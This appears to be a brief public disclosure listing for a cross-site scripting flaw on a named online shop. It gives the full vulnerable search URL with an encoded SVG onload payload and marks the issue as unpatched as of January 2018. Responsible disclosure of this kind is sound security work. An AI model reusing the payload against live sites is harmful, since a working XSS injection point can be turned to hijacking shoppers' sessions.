a-priori-shop.com XSS vulnerability

Vulnerable URL: http://a-priori-shop.com/osc/catalog/advancedsearchresult.php?keywords=%27%22%3E%3Csvg%2Fonload%3Dconfirm%28%2FOPENBUGBOUNTY%2F%29%3E=30=7indescription=1subcat=1 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 02.01.2018 Vulnerability type:| XSS...